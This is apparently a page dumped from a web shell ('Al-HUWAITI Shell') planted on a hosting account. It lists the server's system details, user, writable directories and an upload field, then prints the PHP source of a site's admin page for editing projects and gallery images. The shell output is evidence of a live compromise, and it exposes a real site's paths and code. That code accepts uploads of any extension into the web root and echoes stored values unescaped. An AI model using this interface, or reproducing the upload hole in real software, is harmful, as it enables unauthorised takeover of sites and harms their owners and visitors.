Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/bond-lounge.com/public_html/admin9120/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/bond-lounge.com/public_html/admin9120/projects_details.php
<?php session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("headerstrict.php"); ?>
<link href="https://stackpath.bootstrapcdn.com/bootstrap/3.4.1/css/bootstrap.min.css" rel="stylesheet">
  <script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
  <script src="https://stackpath.bootstrapcdn.com/bootstrap/3.4.1/js/bootstrap.min.js"></script>
  <link href="https://cdn.jsdelivr.net/npm/summernote@0.8.18/dist/summernote.min.css" rel="stylesheet">
  <script src="https://cdn.jsdelivr.net/npm/summernote@0.8.18/dist/summernote.min.js"></script>
  <script src="https://cdn.jsdelivr.net/gh/perevoshchikov/summernote-grid@1.0.0/summernote-grid.min.js"></script>
  <script>
    $(document).ready(function() {
        $('#summernote').summernote({
    toolbar:[
		['style', ['style']],
        ['font', ['bold', 'underline', 'clear']],
        ['color', ['color']],
        ['para', ['ul', 'ol', 'paragraph']],
        ['table', ['table']],
        ['insert', ['link', 'picture', 'video']],
        ['view', ['fullscreen', 'codeview', 'help']],
        ['insert', ['grid']]
    ],
    grid: {
        wrapper: "row",
        columns: [
            "col-md-12",
            "col-md-6",
            "col-md-4",
            "col-md-3",
        ]
    },
    callbacks: {
        onGridInsert: null
    },
    icons: {
        grid: "glyphicon glyphicon-th"
    }
});
    });
  </script>
<?php 
	$title = "projects";
	$title_cap = ucfirst($title);
	?>
<?php 
if (isset($_GET['u'])){
	$unique_id = mysqli_real_escape_string($con,$_GET['u']);
	$stmt = $con -> prepare("SELECT * FROM $title WHERE unique_id=?");
	$stmt -> bind_param('s',$unique_id);
	$stmt -> execute(); 
	$stmt -> store_result(); 
	$stmt -> bind_result($id,$u_id,$heading,$preamble,$body,$picture,$picture2,$picture3,$picture4); 
	$numrows = $stmt -> num_rows();
	if($numrows > 0){
		while ($stmt -> fetch()) { }
	}
	else{echo "<meta http-equiv=\"refresh\" content=\"0; url=index.php\">";exit();}
}
else{echo "<meta http-equiv=\"refresh\" content=\"0; url=index.php\">";exit();}


	
?>
<title><?php echo $company_name; ?> <?php echo "$title - $heading"; ?></title>

<?php 
if (isset($_POST["update"])) {

	$title1 = $_POST['title'];
	$preamble = $_POST['preamble'];
	$body = $_POST['body'];
	
	if( ($_FILES["fileField"]["type"]=="") == false ){
		unlink("../site_img/$title/$picture");
		$random_id = substr(md5(rand()), 0, 20);
		$extension = pathinfo($_FILES["fileField"]["name"], PATHINFO_EXTENSION);
		move_uploaded_file( $_FILES['fileField']['tmp_name'], "../site_img/$title/$random_id.$extension");
		$picture ="$random_id.$extension";
	}

	if( ($_FILES["fileField2"]["type"]=="") == false ){
		unlink("../site_img/$title/$picture2");
		$random_id2 = substr(md5(rand()), 0, 20);
		$extension2 = pathinfo($_FILES["fileField2"]["name"], PATHINFO_EXTENSION);
		move_uploaded_file( $_FILES['fileField2']['tmp_name'], "../site_img/$title/$random_id2.$extension2");
		$picture2 ="$random_id2.$extension2";
	}

	if( ($_FILES["fileField3"]["type"]=="") == false ){
		unlink("../site_img/$title/$picture3");
		$random_id3 = substr(md5(rand()), 0, 20);
		$extension3 = pathinfo($_FILES["fileField3"]["name"], PATHINFO_EXTENSION);
		move_uploaded_file( $_FILES['fileField3']['tmp_name'], "../site_img/$title/$random_id3.$extension3");
		$picture3 ="$random_id3.$extension3";
	}

	if( ($_FILES["fileField4"]["type"]=="") == false ){
		unlink("../site_img/$title/$picture4");
		$random_id4 = substr(md5(rand()), 0, 20);
		$extension4 = pathinfo($_FILES["fileField4"]["name"], PATHINFO_EXTENSION);
		move_uploaded_file( $_FILES['fileField4']['tmp_name'], "../site_img/$title/$random_id4.$extension4");
		$picture4 ="$random_id4.$extension4";
	}

	$stmt = $con -> prepare("UPDATE $title SET title = ?, preamble = ?, body = ?, picture1 = ?, picture2 = ?, picture3 = ?, picture4 = ? WHERE id = ?");
	$stmt -> bind_param('sssssssi', $title1,$preamble,$body,$picture,$picture2,$picture3,$picture4,$id);
	$stmt -> execute();
			
	//create a session to verify it's coming from here
	$_SESSION["action"] = "true";
	$message="Update was successfully done.";
	echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name?u=$unique_id&m=$message\">";

}

if (isset($_POST["delete"])) {
	
	if($picture !==""){unlink("../site_img/$title/$picture");}
	if($picture2 !==""){unlink("../site_img/$title/$picture2");}
	if($picture3 !==""){unlink("../site_img/$title/$picture3");}
	if($picture4 !==""){unlink("../site_img/$title/$picture4");}
	$stmthg = $con -> prepare("DELETE FROM $title WHERE unique_id = ?");	
	$stmthg -> bind_param('s', $unique_id);
	$stmthg -> execute();

	//delete all the pictures associated with this service too
	$stmt_d = $con -> prepare('SELECT picture FROM gallery WHERE article_id=?');
	$stmt_d -> bind_param('s',$unique_id);
	$stmt_d -> execute(); 
	$stmt_d -> store_result();
	$stmt_d -> bind_result($tbd);
	$numrows_d = $stmt_d -> num_rows();
	if($numrows_d > 0){
	while ($stmt_d -> fetch()) { 
		unlink("../site_img/gallery/$tbd");
	}
	}

	//create a session to verify it's coming from here
	$_SESSION["action"] = "true";
	$message="Item successfully deleted.";
	echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$title.php&m=$message\">";
}

?>

<!-- ======= Breadcrumbs ======= -->
<section id="breadcrumbs" class="breadcrumbs">
  <div class="container"> </div>
</section>
<!-- End Breadcrumbs -->
<!-- ======= Contact Section ======= -->
<section id="contact" class="contact inner-page">
	<div class="container" data-aos="fade-up">

	<div class="section-title">
		<h2><?php echo"$heading"; ?></h2>
		<p></p>
	</div>

<div class="row">
<div class="col-lg-8">
		
		
 <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?><?php echo"?u=$unique_id"; ?>" method="post" class="php-email-form1" enctype='multipart/form-data'>

 <div class="form-row">
	<div class="form-group col-md-12">
	<label for="">Title</label>
		<input type="text" name="title" value="<?php echo $heading ?>" class="form-control" placeholder="Heading" required /> 
	</div>

	<div class="form-group col-md-12">
	<label for="">Preamble</label>
		<input type="text" name="preamble" value="<?php echo $preamble ?>" class="form-control" placeholder="Preamble" required /> 
	</div>

	<div class="form-group col-md-12">
		<label for="">Article Box</label>
		<textarea name="body" id="summernote" class="form-control" required><?php echo $body ?></textarea> 
	</div>
</div>
<h2>Main Image</h2>	
	<div class="form-row">
		
		<div class="form-group col-md-12">
			<label>Image 1 (Required)</label>
				<?php 
				if($picture !==""){
				echo"
				<img src='../site_img/$title/$picture' style='width:100%;'>
				"; ?>
				
				<?php } ?>
				<input type='file' name='fileField' class="form-control" />
				
		</div>
	</div>
	<h2>Image Slider</h2>
	<div class="form-row">
		<div class="form-group col-md-4">
			<label>Image 2 (Optional)</label>
			<?php $empty = "";
			if (isset($_POST["delete_s2"])) {
				$stm = $con -> prepare("UPDATE $title SET picture2 = ? WHERE unique_id = ?");
				$stm -> bind_param('ss',$empty,$unique_id);
				$stm -> execute();
				unlink("../site_img/$title/$picture2");
				//create a session to verify it's coming from here
				$_SESSION["action"] = "true";
				$message="Picture successfully deleted.";
				echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name?u=$unique_id&m=$message\">";
			}
				if($picture2 !==""){
				echo"
				<img src='../site_img/$title/$picture2' style='width:100%;'>
				"; ?>
				<button type='submit' name='delete_s2' style='display:inline;margin:10px 0;padding:8px 8px; font-size:19px;font-weight:900;position:relative;top:3px;' title='Delete'>X</button>
				<?php }
				?>
				<input type='file' name='fileField2' class="form-control" style='display:inline;width:85%;'/> 
		</div>
		<div class="form-group col-md-4">
			<label>Image 3 (Optional)</label>
			<?php $empty = "";
			if (isset($_POST["delete_s3"])) {
				$stm = $con -> prepare("UPDATE $title SET picture3 = ? WHERE unique_id = ?");
				$stm -> bind_param('ss',$empty,$unique_id);
				$stm -> execute();
				unlink("../site_img/$title/$picture3");
				//create a session to verify it's coming from here
				$_SESSION["action"] = "true";
				$message="Picture successfully deleted.";
				echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name?u=$unique_id&m=$message\">";
			}
				if($picture3 !==""){
				echo"
				<img src='../site_img/$title/$picture3' style='width:100%;'>
				"; ?>
				<button type='submit' name='delete_s3' style='display:inline;margin:10px 0;padding:8px 8px; font-size:19px;font-weight:900;position:relative;top:3px;' title='Delete'>X</button>
				<?php }
				?>
				<input type='file' name='fileField3' class="form-control" style='display:inline;width:85%;'/> 
		</div>
		<div class="form-group col-md-4">
			<label>Image 4 (Optional)</label>
			<?php $empty = "";
			if (isset($_POST["delete_s4"])) {
				$stm = $con -> prepare("UPDATE $title SET picture4 = ? WHERE unique_id = ?");
				$stm -> bind_param('ss',$empty,$unique_id);
				$stm -> execute();
				unlink("../site_img/$title/$picture4");
				//create a session to verify it's coming from here
				$_SESSION["action"] = "true";
				$message="Picture successfully deleted.";
				echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name?u=$unique_id&m=$message\">";
			}
				if($picture4 !==""){
				echo"
				<img src='../site_img/$title/$picture4' style='width:100%;'>
				"; ?>
				<button type='submit' name='delete_s4' style='display:inline;margin:10px 0;padding:8px 8px; font-size:19px;font-weight:900;position:relative;top:3px;' title='Delete'>X</button>
				<?php }
				?>
				<input type='file' name='fileField4' class="form-control" style='display:inline;width:85%;'/> 
		</div>
	</div>

	<div class='text-center'>
		<button type='submit' name='update'>Update</button>
		<button type='submit' name='delete'>Delete</button>
    </div> <br>
</form>
</div>

<?php 
if (isset($_POST['add_gallery'])) {
	
	if( ($_FILES["file"]["type"]=="") == false ){
		$random_id = substr(md5(rand()), 0, 20);
		$extension = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
		move_uploaded_file( $_FILES['file']['tmp_name'], "../site_img/gallery/$random_id.$extension");
		$picturegall ="$random_id.$extension";
	}
		
	$db_id=0;
	$stmt = $con -> prepare('INSERT INTO gallery VALUES (?,?,?)');
	$stmt -> bind_param('iss', $db_id,$unique_id,$picturegall);
	$stmt -> execute();
 
	//create a session to verify it's coming from here
	$_SESSION["action"] = "true";
	$message="Picture successfully added.";
	echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name?u=$unique_id&m=$message\">";
	
}
?>
<div class='col-md-3'></div>
			 <div class="col-lg-8 mt-5 mt-lg-0 d-flex align-items-stretch">
            <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?><?php echo"?u=$unique_id"; ?>" method="post" class="php-email-form1" enctype='multipart/form-data'>
              <h2>Add an image</h2>
			  <p>To insert an image inside an article follow these <b>4</b> simple steps: <br>
				<b>1</b>. Upload it. Once uploaded it will appear under <b>Uploaded Images</b>.<br>
				<b>2</b>. Click the <b>Copy Link</b> button underneath the picture. <br>
				<b>3</b>. On top of the article box, click the <b>Picture</b> icon. <br>
				<b>4</b>.Paste the image link in the textbox and click <b>Insert image</b>.
			</p>
			  <div class="form-row">
                <div class="form-group col-md-12">
					<input type='file' name='file' class="form-control"  required /> 
                </div>
              </div>
             
              <div class="text-center">
				<button type="submit" name='add_gallery'>Upload</button>
			  </div>
            </form>

			
          </div>
		<div class='col-md-3'></div>

        </div><!-- end row -->
		<h2>Uploaded Images</h2>
		<div class='row'>
		
	<?php 
	
	$sql = "SELECT COUNT(id) FROM gallery WHERE article_id='$unique_id' ORDER BY id DESC";
	$query = mysqli_query($con, $sql);
	$row = mysqli_fetch_row($query);
	//here we have the total row count
	$rows = $row[0];
	//number of results we want per page
	$page_rows = 128;
	//tells us the page number of our last page
	$last = ceil($rows/$page_rows);
	//this makes sure last cannot be less than 1
	if($last < 1){$last = 1;}
	//establish the page num variable
	$pagenum = 1;
	//Get pageum from $GET if it is present, else its 1
	if(isset($_GET['pn'])){
	$pagenum = preg_replace('#[^0-9]#', '', $_GET['pn']);
	}
	//below 1 or more than last page
	if($pagenum < 1){
	   $pagenum = 1;
	}else if ($pagenum > $last) {
		$pagenum = $last;
	}
	//this sets the range of rows to query for the chosen pagenum
	$limit = 'LIMIT ' .($pagenum - 1) * $page_rows .',' .$page_rows;
	//grabs one page worth of rows
	$sql = "SELECT * FROM gallery WHERE article_id='$unique_id' ORDER BY id DESC $limit ";
	$query = mysqli_query($con, $sql);
	//this shows the user what page they on and total number
	$textline1 = "Messages $rows";
	$textline2 = "Page $pagenum of $last";
	//establish the pagination controls
	$paginationCtrls = "";
	//if there is more than one page worth of results
	if($last != 1){
		if($pagenum > 1){
			$previous = $pagenum - 1;
			//$paginationCtrls .='<a href="'.$_SERVER['PHP_SELF'].'?pn='.$previous.'">Previous</a> &nbsp';
			$paginationCtrls .="
			<a href=".$_SERVER['PHP_SELF']."?pn=$previous>&nbsp;Prev &nbsp;</a>";
			//render clickable links to the left of target page number
			for($i = $pagenum-4; $i < $pagenum; $i++){
				if($i > 0){
					//$paginationCtrls .= '<a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'"></a> &nbsp; ';
$paginationCtrls .= "<a href='".$_SERVER['PHP_SELF']."'?pn=$i>&nbsp;$i &nbsp;</a>";
					
				}
			}
		}
		//render target number bt not link
		//$paginationCtrls .= ''.$pagenum.' &nbsp; ';
		$paginationCtrls .= "<a href='#'>$pagenum</a>";
		//render clickable number links to the right of target number
		for($i = $pagenum+1; $i <= $last; $i++){
			//$paginationCtrls .= '<a href="'.$_SERVER['PHP_SELF'].'?pn='.$i.'">'.$i.'</a> &nbsp; ';
			$paginationCtrls .= "<a href='".$_SERVER['PHP_SELF']."'?pn=$i>&nbsp;$i&nbsp;</a>";
			if($i >= $pagenum+4){
				break;
			}
		}
		//this does the same as above, only checking if we are on the last page
		if($pagenum != $last) {
			$next = $pagenum + 1;
			$paginationCtrls .= "<a href='".$_SERVER['PHP_SELF']."'?pn=$next>&nbsp;Next&nbsp;</a>&nbsp;";
		}
	}
	
	if(mysqli_num_rows($query) > 0 ){
		while ($row_ads = mysqli_fetch_array($query, MYSQLI_ASSOC)) {
			$picid = $row_ads['id'];
			$picture = $row_ads['picture'];

echo"			
		<div class='col-md-4'>
		<form action='";?><?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?><?php echo"?u=$unique_id' method='post'class='php-email-form1'enctype='multipart/form-data'>
			
			 <div class='form-row'>
                <div class='form-group col-md-12'>
					<img style='width:100%;border-radius:5px;'src='../site_img/gallery/$picture' class='img-fluid' alt=''>
					<input type='file' name='file' class='form-control'/> 
				</div>
			</div>
			
				 <input type='text' id='myInput$picid' style='opacity:0;' class='form-control' value='$link/site_img/gallery/$picture' readonly='readonly'>
				
		
			
			<div class='text-center'><br/>
				<button type='submit' name='updatepic$picid'>Update</button>
				<button type='submit' name='deletepic$picid'>Delete</button>
			</div>
		
		</form>
			<div class='text-center outside_button'>
				<button onclick='copy$picid()'>Copy Link</button>
			</div>
		</div>
		
		";
		if (isset($_POST["updatepic$picid"])) {
			$heading = mysqli_real_escape_string($con,$_POST['heading']);
			$galparagraph = mysqli_real_escape_string($con,$_POST['galparagraph']);
	
			if( ($_FILES["file"]["type"]=="") == false ){
				unlink("../site_img/gallery/$picture");
				move_uploaded_file( $_FILES['file']['tmp_name'], "../site_img/gallery/$picture");
			
				//create a session to verify it's coming from here
				$_SESSION["action"] = "true";
				$message="Update was successfully done.";
				echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name?u=$unique_id&m=$message\">";
			}
			else{
				$_SESSION["action"] = "true";
				$message="No picture selected.";
				echo "<meta http-equiv=\"refresh\" content=\"0; url=failure.php?u=$page_name?u=$unique_id&m=$message\">";
			}
		}
						
		if (isset($_POST["deletepic$picid"])) {
			$stmt = $con -> prepare('DELETE FROM gallery WHERE id = ?');	
			$stmt -> bind_param('i', $picid);
			$stmt -> execute();
			unlink("../site_img/gallery/$picture");
			//create a session to verify it's coming from here
			$_SESSION["action"] = "true";
			$message="Picture successfully deleted.";
			echo "<meta http-equiv=\"refresh\" content=\"0; url=success.php?u=$page_name?u=$unique_id&m=$message\">";
		}
		?>
		<!-- each picture gets its own copy link javascript snippet-->
<script>
function copy<?php echo $picid; ?>() {
  var copyText = document.getElementById('myInput<?php echo $picid; ?>');
  copyText.select();
  copyText.setSelectionRange(0, 99999)
  document.execCommand("copy");
  alert("Link Copied: " + copyText.value);
}
</script>	
		<?php
		}//end of while
	}
	else{echo"No pictures are available at this time.";}				
						
					?>
	
	</div>

        </div><!-- end row -->
		<br/><br/>
		

		
		
		
        </div>
		

		
		
		

    </div>
</section><!-- End Contact Section -->
  <!-- ======= Footer ======= -->
  <footer id="footer" style='background:;'>

    

    <div class="container footer-bottom clearfix">
      <div class="copyright">
        Copyright &copy; <?php $odun=date('Y'); echo $odun; ?> <strong><span><?php echo $company_name; ?></span></strong>. All Rights Reserved
      </div>
      <div class="credits">
       
      </div>
    </div>
  </footer><!-- End Footer -->

  <a href="#" class="back-to-top"><i class="ri-arrow-up-line"></i></a>
  <div id="preloader"style='background:<?php echo $color; ?>;'></div>

  <!-- Vendor JS Files -->
 
  <script src="assets/vendor/bootstrap/js/bootstrap.bundle.min.js"></script>
  <script src="assets/vendor/jquery.easing/jquery.easing.min.js"></script>
  <script src="assets/vendor/php-email-form/validate.js"></script>
  <script src="assets/vendor/waypoints/jquery.waypoints.min.js"></script>
  <script src="assets/vendor/isotope-layout/isotope.pkgd.min.js"></script>
  <script src="assets/vendor/venobox/venobox.min.js"></script>
  <script src="assets/vendor/owl.carousel/owl.carousel.min.js"></script>
  <script src="assets/vendor/aos/aos.js"></script>

  <!-- Template Main JS File -->
  <script src="assets/js/main.js"></script>

</body>

</html>

Al-HUWAITI Shell